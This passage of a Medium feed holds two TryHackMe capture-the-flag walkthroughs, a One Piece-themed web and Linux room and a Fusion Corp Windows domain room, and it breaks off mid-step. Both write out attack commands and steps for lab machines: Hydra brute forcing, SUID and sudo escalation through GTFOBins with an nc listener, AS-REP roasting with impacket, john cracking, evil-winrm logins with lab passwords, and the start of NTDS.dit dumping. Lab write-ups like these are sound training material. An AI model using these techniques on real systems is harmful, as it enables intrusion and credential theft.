.road_poneglyphe1.txt</pre><p>This will produce a file named “road_poneglyph1.txt” which, as anticipated, is encoded, encrypted, or both.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MfuH99cqLBBJWkmSbtDU3Q.png" /></figure><p><em>Info: In the manga, the Poneglyphs are written in an ancient language. Only one person is known to be able to read them.</em></p><p>Attempting to decode the provided text using methods such as base32 and Morse code may prove unproductive. Similar to the “Road Poneglyphs” in One Piece, individual elements may lack meaning in isolation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OL1P9lD8ZnkKT6ltcnVDjA.png" /></figure><p>The “.secret_room.txt” file suggests that a complete solution requires multiple “keys,” implying a more comprehensive approach is necessary.</p><p><strong>Conclusion</strong> — Port 21: FTP The FTP server yielded two key pieces of information:</p><ul><li>One Road Poneglyph</li><li>The locations of two additional Road Poneglyphs</li></ul><p>We will now proceed to analyze the web server. As the SSH username and password remain unknown, brute-forcing is not a recommended approach.</p><h3>Port 80: HTTP</h3><p><strong>Page: /index.html</strong></p><p>By going to the webpage, you arrive on this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WqazxjyWjn45G_qYrCwrag.png" /></figure><p>By reading the text, you can know what you need to do next:<br>- “You need to find the Log Pose to be able to reach the next island.”</p><h4>Web enumeration:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tQBhGrPVNwbx18dFcy2iDg.png" /></figure><p>Enumerating in this manner will likely limit discovery to only the “/images” and “/css” directories. Further investigation into domain names or subdomains may prove unfruitful.</p><p>If you give a look at the source code, you will find an interesting comment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nw6LGMjk55ceUFkojbf3KA.png" /></figure><p>The comment seems to be base32 encoded. If you decode it you get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*stoJI-KhMe2jL-mWjMH9fA.png" /></figure><p>Here’s a more professional re-write of the provided text:</p><p>Alright, you’ve received a sentence that serves as a definite hint.</p><p>The question itself also contains a hint: “Only Sea, It’s Not Terrible.” The capitalization of these words points to the use of Open-Source Intelligence (OSINT).</p><p>Let’s recap what we know:</p><ul><li>Webpage text: “You need to find the Log Pose.”</li><li>There are precisely 3472 possible locations.</li><li>Question hint: “OSINT.”</li><li>Enumeration alone appears insufficient.</li></ul><h3><strong>Open-Source Intelligence</strong></h3><p>Now that we’ve established the need for OSINT, the initial step is to define our target: “What are we looking for?”</p><p>I recognize that I inadvertently created a rabbit hole that many followed, leading them to discover some of the room answers online. Indeed, it’s possible to find or deduce almost all of the answers using OSINT.</p><p>However, two answers remain inaccessible without properly exploiting the machine. The presence of the word “Apache” in subsequent questions led some to correctly infer a connection to the website. There are indeed two methods to navigate to another island and explore the Apache Sea.</p><p>So, what is the first method?</p><p>Primarily, we understand the necessity of OSINT to locate something. According to the webpage text, this “something” is a “<strong>Log Pose</strong>,” and we have a peculiar number, “<strong>3472.</strong>”</p><p>Considering your previous actions:</p><p>Most of you likely:</p><ul><li>Checked the webpage.</li><li>Examined the source code.</li><li>Performed enumeration (pages/subdomains/domains).</li><li>Investigated files in /images and /css.</li></ul><p>We’ll address the files from /images and /css later, as they represent the second method. For now, let’s exclude them. Only one of the options above could yield a different output: “Enumeration.”</p><p>To achieve a different result through enumeration, you’d typically need one of the following:</p><ul><li>Different extensions.</li><li>A different wordlist.</li></ul><p>Bearing these possibilities in mind, let’s consider the significance of the number “3472” associated with “places.” What could it represent?</p><ul><li>3472 extensions? Highly improbable.</li><li>3472 entries in a wordlist? This is more plausible. Could this be the number of entries in a relevant list?</li></ul><p>The next step is to search online for a list with 3472 entries related to a “Log Pose” (the term used in the webpage text).</p><p>While searching Google for terms like “Log Pose list 3472” might not yield immediate results due to indexing limitations, there’s a well-known platform that proves invaluable for computer-related resources, including code and lists: GitHub.</p><p>Let’s leverage GitHub, restricting our search to this specific website, and search for “Log Pose,” as it’s the designated name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*BmCcHUeZM3Bp7KN91G6RBQ.png" /></figure><p>We get 31 results (the number of results may change depending on when you are reading this), not so bad.</p><p>You can look at them individually or sort them by “Release Date” to check the latest ones.<br>Both case scenario, you should find one that catches you eye:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*7wfQLcJDCeOia7btxM6XLg.png" /></figure><p>The description indicates that this resource is intended to guide users to the next challenge. This is precisely the desired outcome.</p><p>It may also be useful to note the similarity in usernames between GitHub and TryHackMe.</p><p>Upon accessing the repository, the following will be displayed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*diyQmvvQey2_twBFMyQDQg.png" /></figure><p>It contains a txt file so let’s give it a look:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nSLnlTbiEOVyRP7TEKufng.png" /></figure><p>At this point, you know that you found what you were looking for, a list with 3472 entries that is somehow a “<strong>Log Pose</strong>”.</p><p>Get this list and save it into a file.</p><p>Now it is time to use it !</p><h4>Enumeration</h4><p>In this situation, with a list like this, you should be tempted to use it for enumeration, so let’s do that.</p><p>You will get this result:</p><pre>gobuster dir -u http://ip_target -w /logpose.txt -x html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zcxACjg6B3MakX8I6p30xg.png" /></figure><p>Yes, you get 1 result.</p><h3>Conclusion — Page: /index.html</h3><p>After a bit of decoding and a bit of OSINT, you successfully got the url of the next island.<br>Time to go there and see what it hides.</p><h3>Page: /dressrosa.html</h3><p><em>Info: </em><strong><em>/dressrosa.html </em></strong><em>is not the actual name of the page but let’s say it’s close enough.</em></p><p>By going to the recently discovered webpage, you arrive on this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yOtnYYtKU295zXY76EpIdA.png" /></figure><p>First interesting thing is that you get the answer to Task 2 Question 2 within the text itself.</p><p>Then, you can notice that whenever your mouse pointer passes above the black “image”, the black will disappear and let you see a part of the image that is behind it.</p><p>If you download the image behind, you will notice that it is named “<strong>rabbit_hole.png</strong>”.<br>If you look at it, here is what you will get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*UGBbf8fknLvRRnTCkd6TwQ.png" /></figure><p>Alright, so we have 3<strong> encoded and/or encrypted strings.</strong></p><p>Let’s find out what each of them means:</p><p>The provided text describes a multi-layered decoding process:</p><ol><li>Hex decode: “key:im on oti oti”</li><li>Base91 decode: “ito ito no mi:yek”</li><li>Vigenere cipher:</li></ol><ul><li>Attempts to decrypt with “imonotioti” yields: “Dvfgfhnnzo iz songq smankiil”</li><li>Attempts to decrypt with “itoitonomi” yields: “Doflamingo is still standing”</li></ul><p>The successful decryption with “itoitonomi” reveals “Doflamingo is still standing,” but the text warns that this is a rabbit hole, as is any attempt at steganography on the image.</p><h3>Source code</h3><p>Analysis is crucial in pentesting, often revealing valuable information. While the webpage’s source code seems uninteresting (except for the rabbit_hole.png URL), deeper exploration is needed. Fortunately, with only a<em> CSS stylesheet present</em>, something interesting might be found within it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qz8vu4tjkTD5Fs2IDx8BeA.png" /></figure><p>The webpage uses a background image set in the CSS stylesheet, not the HTML source. This image is behind “<em>rabbit_hole.png,</em>” which is behind black boxes. Recall that wordlist enumeration on “/index.html” revealed “/images” and “/css.” The CSS stylesheet is in “/css,” offering a shortcut to avoid previous OSINT.</p><h3>Steganography</h3><p>Let’s download this image and give a look at it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-l5XOHxzJI2hN4XhjgjSg.png" /><figcaption>http://&lt;IP&gt;/&lt;kingkonggun&gt;</figcaption></figure><p>Info: This is the final punch Luffy delivers to Doflamingo in the Manga.</p><p>Steganography is required again. (Spoiler: you’ll need it again later in this box.)</p><p>The metadata can be accessed with a simple filecommand:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8bc2VTEjrBNvo9_iXK_vg.png" /></figure><p>Interesting, a comment that gives us the location of another image.</p><p>By downloading and looking at this other image, we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2mgpP345E6Qye4dG0VpZYQ.png" /><figcaption>http://&lt;IP&gt;/&lt;defeat&gt;</figcaption></figure><p><em>Info: This is the actual image from the scan where Doflamingo gets hit by the attack of the last image. He got defeated.</em></p><p>Well, I did not lie with the previous image, it wasn’t the last time you would have to do some steganography within this box.</p><p>This time you need to use the strings command and the last line of the output will give you:</p><pre>strings king_kongPgun.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NkoKI7qdi7xwc7rhQbthA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XE06jazngR4YzaQn1PYi-A.png" /></figure><p><strong>Spoiler alert</strong>: Once again this won’t be the last time you need to do some steganography in this box but this will come later.</p><p>The interesting thing here is that you get the location of the next island, you can go there.</p><h3>Conclusion — Page: /dressrosa.html</h3><p>After a bit of code analysis and a bit of steganography, we got the location of the next island, <strong>/whole_c4k3.php</strong></p><h3>Page: /cake.php</h3><p><em>Info: Same as before, /cake.php is not the actual name of the page.</em></p><p>By going to this webpage, you get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fh5N8Ej910PX0WYbee3YWg.png" /></figure><p>The text has the answer to Task 2 Q3. Big Mom’s territory means a Road Poneglyph is nearby; we must find it.</p><h3>Injection</h3><p>The first thing that may come up to your mind seeing a page like this with an input form is: “Some sort of injection might work”.<br>So let’s try a bit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1x2_E1iI2ZOveRPbmHDXTQ.png" /></figure><p>The “I did not expect that” message indicates the form isn’t vulnerable to injection. The message is simply triggered by any submission, regardless of content, as the input is not processed. Testing different inputs would eventually reveal this behavior, indicating a rabbit hole that is not exploitable.</p><h3>Cookie Poisoning</h3><p>By checking the source code of the webpage, you can see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*TOTXrFwV1o82clsUAlwpnw.png" /></figure><p><em>Info: In the Manga, </em><strong><em>Big Mom is crazy about cakes.</em></strong></p><p>Could that be a hint for what needs to be done ?<br>Yes, it is.</p><p><strong>Cakes is a hint for cookie.</strong></p><p>If you give a look at the cookies of the webpage, you get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1PS71Rn-X-PT7ynF4mCyew.png" /></figure><p>The value is “NoCakeForYou”, not much to say that this is unusual.<br>Moreover, the source code comment was “Big Mom likes cakes”.</p><p>What if we edit the value and put “CakeForYou” instead ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nef5PshKvoGVMPbsbOqTYw.png" /></figure><p>Reload the webpage and you get the following text displayed below the form:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IcHoR0GX_qKYGkKGLN_Row.png" /></figure><p>Nice, we got our <strong>second Road Poneglyph </strong>and we even got the location of the next island.</p><p><em>Info: The value of the edited cookie is irrelevant, you could have put whatever you want. As long as it is not “</em><strong><em>NoCakeForYou</em></strong><em>”, it will work just fine.</em></p><h3>Conclusion — Page: /cake.php</h3><p>After some cookie poisoning, you get the location of the next island and a copy of the second Road Poneglyph.</p><p><em>Info: As for the first Road Poneglyph, trying to decode it alone is pointless. You would just create yourself another rabbit hole.</em></p><h3>Page: /arbitrary.html</h3><p><em>Info: Once again, /arbitrary.html is not the actual name of the page.</em></p><p>By going to the webpage, you get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HgwgzcrnDUaz9VYtnQqWKA.png" /></figure><p><em>Info: Buggy being the favorite character of Eichiro Oda, the manga artist who created One Piece, I had to include him in this room.</em></p><p>Alright, we get the answer to Task 2 Question 4 by reading the text.</p><p>Then you need to decide which game you want to play against him.</p><p>Let’s start with the brick breaker:</p><h3>Brick Breaker</h3><p>If you follow the brick breaker link, you will end up on this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*logCNImmT08qlmYKUH01oA.png" /></figure><p>And you will be able to play a brick breaker with your keyboard arrows if you want to chill out a bit.</p><p>If you lose, you will get this prompt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*npGIW6cpIcrWn7t2Gu-dNw.png" /></figure><p>By playing the game you will get an info about the game its, also this time this is rabbit hole.</p><h3>Brain Teaser</h3><p>By following the Brain Teaser link, you get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*2eNvswUPLgCEwEaW51eG_A.png" /></figure><p><em>info: As it is a brain teaser, there is no hint about what needs to be done.</em></p><p>But as I checked the source code i found another link:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q9zIVkiDerf_oscUg23X0w.png" /></figure><h3>Page: /onigashima.php</h3><p><em>Info: Did you guess that this wasn’t the actual name of the webpage ?</em></p><p>By going to this webpage, you get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XE_--j3Qvu4nS4w9CILMYg.png" /></figure><p><em>Kaido is the main antagonist of the current arc in One Piece. Not much to say that the One Piece community is currently living one of the most exciting moments of the entire manga.</em></p><p>Wait, according to the file “.secret_room.txt”, Kaido owns a Road Poneglyph. We must find it.</p><p>If you are on a webpage like this, you have several options but one of your first bets should be:</p><h3>File upload:</h3><p>is often prioritized over login form brute-forcing because guessing usernames and passwords for a login form would take longer. When exploring file upload vulnerabilities, focus on identifying allowed file types and the upload directory.</p><p>This can be achieved by testing various file extensions and observing the server’s response or leveraging OSINT and website analysis tools.</p><blockquote>The file upload form is misleading. Although it displays a “File uploaded” message, the file is not actually saved on the server and cannot be accessed. The form is non-functional.</blockquote><p>Next step I took is to steganography for the images- <strong>kaido.jpeg.</strong></p><pre>stegseek kaido.jpeg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*QX77jJB8VcKdvosqCozG6Q.png" /></figure><p>Then, we obviously need to give a look at the file we just got, “kaido.jpeg.out”. It contains:</p><pre>steghide extact -sf kaido.jpeg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*0vB3owNwBN2A4F1WclyCBA.png" /></figure><p>Nice, it contains a username. We can now perform another brute force attack but on the login form this time.</p><p>First thing first, we need to know the error message for our command so let’s try our username with a random password, we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qdSF0enVakWY8r7pc1l3uA.png" /></figure><p>The system displays &quot;ERROR&quot; for incorrect passwords. After identifying the required parameters through source code analysis or tools like Burp Suite, a brute-force attack can be launched using Hydra or a similar tool.</p><p>I used Burp Suite to intercept the requests needed for Hydra&#39;s brute-force attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZNRzpgWfc9N7pmZItA0mHA.png" /></figure><p><strong>Then Hydra:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OwE5RUxCWylgDY6PNb8Znw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Neaeu6E_tqTyhjbJzrCHZA.png" /></figure><p>If now we use these credentials to login, we get the following output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6q7AiILatSQsDhVRUMBFWw.png" /></figure><p>Perfect, we got the third Road Poneglyph. Only one left to be able to reach Laugh Tale !</p><h3>Conclusion: Page /onigashima.php</h3><p>After an unsuccessful file upload and 2 brute force attacks, we finally got our hand on the third Road Poneglyph.</p><p>However, we don’t know yet where is the last one.</p><h3>Fourth Road Poneglyph</h3><p>The location of the final Road Poneglyph may seem elusive.</p><p>However, its whereabouts are subtly hinted at through a word puzzle. Consider the concluding sentence displayed upon successfully logging in.</p><p>After successfully circumventing Kaido’s security measures, the final sentence reads: “<em>Unfortunately, the location of this last Poneglyph is</em> …”</p><p>The text following the ellipsis denotes the actual location of the Poneglyph.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JwbE4eiByjX78JnaJ0CeBg.png" /></figure><blockquote><strong>Last Poneglyph:</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gGcr2I2xIV9Unr9xriIvtg.png" /></figure><h3>(All 4 )Road Poneglyphs Message</h3><p>According to the file “.secret_room.txt” we got from the FTP server:<br>- Each of the Road Poneglyph gives one of the keys to reach Laugh Tale.</p><p>Each Road Poneglyph alone is useless but all of them together reveals the meaning.</p><p>So you need to concatenate them all. The string you get seems to be base32 encoded, let’s decode it, we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YtTZ194Qa50VuU8ROI1Q_w.png" /></figure><p>We get the credentials&gt;Username:Password</p><h3>Laugh Tale</h3><p>Alright, so when you log in. You’ll reach luffy’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*Y4a_MSoJlSfaDou8Kyy-Iw.png" /></figure><p><em>Info: The actual username is not luffy, however it is the name of the group user.</em></p><p>If you list the home directory, you get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*MMczq4LKMuYfephqSCtWFg.png" /></figure><p>By reading this, you will find the answer to the Task 3 Question 1.</p><p><em>Info: In the Manga, the pirate Teach is the one who defeated Luffy’s brother and who delivered him to the Navy. Following this event, Luffy’s brother has been sentenced to death. Teach is considered by a lot as the final antagonist of the Manga. Others believe that the final arc will be to take down the World Government.</em></p><p>Now that you are logged in, you obviously want to escalate privileges.<br>You can use an enumeration tool such as linpeas if you wish to but I won’t as the vectors to escalate your privileges are pretty obvious and easy to find.</p><p>The first action I took that could escalate privileges was using the `find` command with SUID and `exec`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eyKuW-XySFYKvTra4Qi3NA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9SpDwf6rJxjujpKwQTKUuw.png" /></figure><p>You will notice that you get a lot of useless results from this command but there is one which is very unusual, y</p><p>Do you see the file named “gomugomunooo_king_kobraaa” owned by luffy_vs_teach ?</p><p>This is definitely not a standard file.</p><p><em>Info: In the Manga, “Gomu gomu no king cobra” is one of Luffy’s attack.</em></p><p>If you launch the program, you get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*Arx1EzzSz-yIQtB0DSeTdQ.png" /></figure><p>You realise that python has been renamed into cobra and then the exploit becomes obvious.</p><p>Let’s check the website gtfobins to exploit it:<br><a href="https://gtfobins.github.io/gtfobins/python/">https://gtfobins.github.io/gtfobins/python/</a></p><p>We can find the following there:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PBG0tvB_T3Dq_eYWM2vMBg.png" /></figure><p>Alright, so let’s use this to elevate our privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sw7cz_jzDA6Fmlpite9koA.png" /></figure><p>Nice, we just got luffy_vs_teach password !</p><p>Now if we give a look at the file “luffy_vs_teach.txt”, we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Q-W6oqbTszJr50EQqRjiw.png" /></figure><p>Now that you have obtained luffy_vs_teach’s credentials, you can access a fully interactive shell by exiting the current shell and executing the following command: su 7uffy_vs_T3@ch You will then be prompted to enter the password you previously obtained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*MujRHwj4Xm2ZV8UUt4pwAQ.png" /></figure><p>Note: This is the most straightforward method for obtaining a fully interactive shell as <strong>luffy_vs_teach;</strong> however, alternative methods may also be viable.</p><p>Having successfully exploited an SUID, we will now investigate two additional common privilege escalation methods:</p><p>cron jobs and sudo configurations.</p><p>Our examination of cron jobs did not reveal any exploitable avenues.</p><p>However, an analysis of the <strong>sudo</strong> rights reveals the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wWHSYN777PxNrvtzsvvvtw.png" /></figure><p>“The <strong>less</strong> utility may be executed with root privileges, potentially simplifying exploitation.</p><p>Consult GTFOBins for further information: <a href="https://gtfobins.github.io/gtfobins/less/">https://gtfobins.github.io/gtfobins/less/</a>. Please review the linked resource.”</p><p>Easy, let’s do it and we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FzZdLUEigdpwLp--dxKzSA.png" /></figure><p>Let’s set the nc listener on the port 4444 as this is the port we used in the script and let’s try to run the script as sudo, we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TXRxnuaGc61XPze5cGJ-ZA.png" /></figure><p>Perfect we are now root !</p><p>All is left to do now is to find the One Piece.</p><h3>One Piece</h3><p>An initial assumption might be to locate the One Piece within the root directory; however, this search will prove unsuccessful.</p><p>Similarly, a file system-wide search for a file named “OnePiece” (or a similar variant) will not yield the desired result.</p><p>It can be inferred that examining the contents of each file is necessary.</p><p>It is smarter, to search only through specific directories with a command like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*0pljwt8rIEs2pQTN3sBqFQ.png" /></figure><p>You then get a mysterious file that stands out, let’s call it “one_piece.txt” (obfuscated on this image).<br>By looking at the content of this file we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*f9UOFNgquGroeoQi1LiXaw.png" /></figure><p>Having located the One Piece, you have realized your ambition and acceded to the title of Pirate King.</p><p><em>Thank you for reading</em></p><p><em>Yoel Yosief{Orit01}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=453adb16924d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fusion Corp — TryHackMe Walkthrough | by Yoel Yosief]]></title>
            <link>https://medium.com/@Yoel_Orit01/fusion-corp-tryhackme-walkthrough-by-yoel-yosief-0101071f60c8?source=rss-b2673b8ac1c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/0101071f60c8</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Yoel Yosief [ Orit01 ]]]></dc:creator>
            <pubDate>Thu, 23 Apr 2026 10:29:32 GMT</pubDate>
            <atom:updated>2026-04-23T10:29:32.687Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*tZ660jzEr3d7au_H0Q-2SQ.jpeg" /></figure><h3>Fusion Corp TryHackMe Walkthrough: A Penetration Testing Exercise</h3><p>This paper presents a comprehensive walk-through of the Fusion Corp room on TryHackMe, a platform for learning cybersecurity through hands-on exercises. The room simulates a penetration test of a Windows domain environment, encompassing enumeration, initial access, privilege escalation, and flag retrieval. This exercise provides valuable experience in applying various penetration testing techniques and tools, enhancing understanding of common vulnerabilities and attack vectors in Windows environments.</p><h3>Scanning and Enumeration</h3><p>The initial stage involved network scanning using Nmap to identify open ports and services on the target machine. The scan revealed a web server running on the target, prompting further enumeration of the website using Dirb to uncover hidden directories. This revealed a “backup” directory containing a list of employee names and usernames. This discovery streamlined the credential-gathering process, negating the need for extensive username enumeration techniques.</p><p>Initial webpage displaying the target IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tglaYha_Yg0OhlHEPicWcQ.png" /><figcaption>webpage displaying the target IP address.</figcaption></figure><h4>Nmap Scan</h4><pre>nmap -T4 -sVC 10.10.166.135</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5new9kk6pgm8Y4yFyTZySw.png" /></figure><p><strong>The scan results show a list of open ports and services. Some notable entries:</strong></p><ul><li>53/tcp open domain — Simple DNS Plus</li><li>80/tcp open http — Microsoft IIS httpd 10.0</li><li>88/tcp open kerberos-sec — Microsoft Windows Kerberos (server time: 2025–09–06 09:26:36Z)</li><li>135/tcp open msrpc — Microsoft Windows RPC</li><li>139/tcp open netbios-ssn — Microsoft Windows netbios-ssn</li><li>389/tcp open ldap — Microsoft Windows Active Directory LDAP (Domain: fusion.corp0, Site: Default-First-Site-Name)</li><li>445/tcp open microsoft-ds?</li><li>464/tcp open kpasswd5?</li><li>593/tcp open ncacn_http — Microsoft Windows RPC over HTTP 1.0</li><li>636/tcp open tcpwrapped</li><li>3268/tcp open ldap — Microsoft Windows Active Directory LDAP (Global Catalog)</li><li>3389/tcp open ms-wbt-server — Microsoft Terminal Services</li><li>445/tcp open microsoft-ds (again)</li><li>The output also includes some LDAP/AD related details:</li><li>Target_Name: FUSION</li><li>NetBIOS_Domain_Name: FUSION</li><li>NetBIOS_Computer_Name: FUSION-DC</li><li>DNS_Domain_Name: fusion.corp</li><li>DNS_Computer_Name: Fusion-DC.fusion.corp</li><li>Product_Version: 10.0.17763 (likely Windows Server 2019)</li></ul><blockquote>The scan strongly suggests this host is a <strong>domain controller</strong> (likely the Fusion domain controller) rather than a pure member server.</blockquote><p>Let&#39;s enumerate web directories with <strong>Gobuster.</strong></p><pre>gobuster dir -w /usr/share/wordlists/dirb/big.txt -u //ip_address</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*jxy2PZy9fGZWanhza4Fh3g.png" /></figure><p>We got a directory called <strong>/backup</strong> with name and username lists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1MplhK4AxZbeOnHafgRPbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*vo9sNbwv0QcJ-6_iw5bH8A.png" /></figure><p>Save the usernames in a text file.</p><p>Transfer the contents of the ‘usernames’ file to a text file on Kali.</p><h3>Gaining Initial Access</h3><p>With a list of usernames, the next step involved attempting to gain initial access to the domain. The ASREPRoast attack was employed using the Impacket tool GetNPUsers.py to identify accounts without pre-authentication enabled. This yielded a hash for the lparker account, which was subsequently cracked using John the Ripper, revealing the password. This provided initial access to the domain as the lparker user.</p><p>Incorporate the target entry into the <strong>hosts file</strong> to ensure Kali resolves the domain name to the appropriate IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*cOQj2R1kdoDRL5nLaTAW0A.png" /></figure><p>And we will use GetNPUsers to enumerate users and their hashed passwords.</p><pre>impacket-GetNPUsers fusion.corp/ -dc-ip 10.10.71.18 -usersfile usernames -format john -output hashes.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d7IboRALbpaXJ35P1ACnZw.png" /></figure><p>Then I cracked the hashed password using <strong>JohntheRipper.</strong></p><pre>john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xtlmbQo8_mSYl0mRwiWy4w.png" /></figure><p>We get credentials <strong>lparker:!!abbylvzsvs2k6!</strong></p><p>I checked for shares using<strong> netexec:</strong></p><pre>netexec smb 10.10.71.186 -u &#39;lparker&#39; -p &#39;!!abbylvzsvs2k6!&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*VSceaZUEfBcCZHSK6KELFA.png" /></figure><p>The NETLOGON and SYSVOL shares did not contain any relevant or useful information. However, these shares should always be checked, as logon scripts sometimes contain plaintext credentials due to administrator oversight or in capture the flag exercises.</p><p>I used <strong>evil-winrm</strong> to access Windows hosts after compromising WinRM credentials.</p><pre>evil-winrm -i fusion.corp -u &#39;lparker&#39; -p &#39;!!abbylvzsvs2k6!&#39; -i 10.10.71.186</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*at0tgtSF-CMRupYlIirDow.png" /></figure><p>We have successfully authenticated to the Windows host (&#39;lparker&#39;) and obtained the initial flag. <strong>(flag.txt).</strong></p><h4>Other Users</h4><p>We will retrieve all Active Directory users with this PowerShell Command.</p><pre>GetADUsers -Filter* -Properties* | Select-ObjectSamAccountName, Description</pre><p><strong>Here’s a breakdown:</strong></p><ul><li>Get-ADUser: This is the cmdlet that retrieves Active Directory user objects.</li><li>-Filter *: This specifies a filter to select which users to retrieve. The * means &quot;all users.&quot;</li><li>-Properties *: This specifies which properties of the user objects to retrieve. The * means &quot;all properties.&quot;</li><li>|: This is the pipe operator. It takes the output of the Get-ADUser cmdlet and passes it as input to the next cmdlet.</li><li>Select-Object SamAccountName, Description: This cmdlet selects only the SamAccountName and Description properties from the user objects that were passed to it. SamAccountName is the user&#39;s login name, and Description is a text field that can contain additional information about the user.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BggmXIvPYSg864-Ro0mW-w.png" /></figure><p>We obtained the username<strong> &#39;jmurphy&#39; </strong>along<strong> </strong>with its <strong>password.</strong></p><p>Then I run <strong>evil-winrm</strong> against that user.</p><pre>evil-winrm -i fusion.corp -u &#39;jmurphy -p &#39;u8WC3!kLsgw=#bRY&#39; -i 10.10.71.186</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*6NbA4szo4flZqb3yMIxAgw.png" /></figure><p>We successfully logged in and obtained the second flag for that user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*yxY_O-OZU6n8VSJSQu6r3g.png" /></figure><h3>Pivot and Privilege Escalation</h3><p>Following initial access, the focus shifted to escalating privileges. The lparker user was used to enumerate the domain and identify potential targets for privilege escalation. Through enumeration, the jmurphy account was identified as a member of the &quot;Backup Operators&quot; group. Backup Operators possess the ability to back up the system, including the NTDS.dit file, which contains password hashes for all domain users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ody9L4om6o0u61iKnRwG1Q.png" /></figure><p>A backup of the NTDS.dit file was created using the diskshadow utility. The NTDS.dit file and the system registry hive were then copied to the attacker&#39;s machine.</p><p>Create a backup.txt on Kali 